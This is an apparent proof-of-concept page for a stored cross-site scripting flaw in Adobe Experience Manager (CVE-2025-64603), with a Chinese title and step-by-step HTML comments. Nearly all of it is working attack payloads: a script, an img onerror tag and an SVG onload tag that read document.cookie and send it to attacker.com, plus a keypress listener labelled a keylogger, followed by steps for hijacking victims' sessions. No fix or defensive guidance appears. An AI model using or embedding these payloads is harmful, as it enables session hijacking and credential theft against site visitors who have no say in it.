CVE-2025-64603 Adobe Experience Manager 存储型XSS漏洞

<!-- CVE-2025-64603 Adobe Experience Manager Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in Adobe Experience Manager --> <!-- Step 1: Identify the vulnerable form field --> <!-- Navigate to any form in Adobe Experience Manager that allows user input --> <!-- Step 2: Inject malicious JavaScript payload --> <!-- The following payload can be injected into form fields: --> <script> // Cookie stealing payload var cookies = document.cookie; var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookies); // Session hijacking payload console.log('Stolen cookies: ' + cookies); // Keylogger payload document.addEventListener('keypress', function(e) { console.log('Key pressed: ' + e.key); }); </script> <!-- Alternative payload - Image onerror XSS --> <img src=x onerror="this.src='https://attacker.com/log?c='+document.cookie"> <!-- SVG XSS payload --> <svg/onload=fetch('https://attacker.com/exfil?data='+btoa(document.cookie))> <!-- Step 3: Wait for victim to visit the page --> <!-- When victim visits the page containing the injected script, --> <!-- the malicious JavaScript will execute in their browser context --> <!-- Step 4: Attacker receives stolen credentials/session tokens --> <!-- The attacker can use stolen cookies to hijack user sessions -->